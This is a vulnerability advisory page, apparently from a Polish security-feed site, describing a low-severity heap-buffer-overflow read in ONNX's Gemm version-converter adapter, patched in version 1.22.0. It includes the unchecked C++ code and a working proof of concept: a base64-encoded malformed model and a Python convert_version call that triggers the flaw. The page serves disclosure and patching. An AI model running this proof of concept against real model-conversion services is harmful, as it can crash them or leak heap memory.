Niska

ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape

  • Ujawniono: 24.07.2026
  • Aktualizacja: 11.10.2026 14:19

Summary

Heap-buffer-overflow READ (16 bytes) in Gemm_7_6::adapt_gemm_7_6() (onnx/version_converter/adapters/gemm_7_6.h:41) when ConvertVersion() processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses B_shape[1] without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.

Details

The Gemm 7→6 downgrade adapter reads input shapes without bounds checking:

cpp
// gemm_7_6.h:26-42
const auto& A_shape = inputs[0]->sizes();  // May have < 2 elements
const auto& B_shape = inputs[1]->sizes();  // May have < 2 elements

if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {
    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims
} else {
    MN.emplace_back(B_shape[1]);   // OOB if B has < 2 dims ← CRASH
}

The PoC has input B with shape [28] (1 dimension). B_shape has 1 element. Accessing B_shape[1] reads 16 bytes past the std::vector<Dimension> internal storage into adjacent heap memory.

The same unchecked pattern applies to A_shape[0] and A_shape[1] at lines 34 and 36.

Entry point: onnx.version_converter.convert_version(model, 6) — different from the InferShapes bugs reported in separate advisories. This triggers during opset downgrade (7→6).

PoC

python
import base64
import onnx
from onnx import version_converter

poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH"

model = onnx.load_from_string(base64.b64decode(poc_b64))

# Triggers heap-buffer-overflow in Gemm_7_6 adapter
version_converter.convert_version(model, 6)

186-byte PoC. ASan confirms: heap-buffer-overflow READ of size 16 at gemm_7_6.h:41, 0 bytes after 48-byte region allocated in tensorShapeProtoToDimensions at ir_pb_converter.cc:216.

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) onnx >= 1.3.0, < 1.22.0 1.22.0

Odnośniki

Ocena CVSS 3.3/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Słabość (CWE)
CWE-125
Platforma
Python (PyPI)
Paczka
onnx
Ujawniono
24.07.2026
Aktualizacja
11.10.2026 14:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-3587 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-p893-rvq9-2xf9 - CC BY 4.0

Historia podatności: onnx

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (13) w archiwum
Wszystkich wpisów
13
Pierwsza → ostatnia
01.2023 07.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 7
  • Średnia 4
  • Niska 1

Ujawnienia w latach

  1. 2023: 1
  2. 2024: 3
  3. 2025: 1
  4. 2026: 8
Istotność:
  1. ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape ten wpis
    Niska · 3.3 CVE-2026-63632 >= 1.3.0, < 1.22.0 1.22.0
  2. Wysoka · 7.1 CVE-2026-49114 < 1.21.0 1.21.0
  3. Wysoka CVE-2026-27489 < 1.21.0 1.21.0
  4. Wysoka · 8.8 CVE-2024-5187 < 1.16.2 1.16.2
  5. Wysoka · 7.5 CVE-2024-27318 < 1.16.0 1.16.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.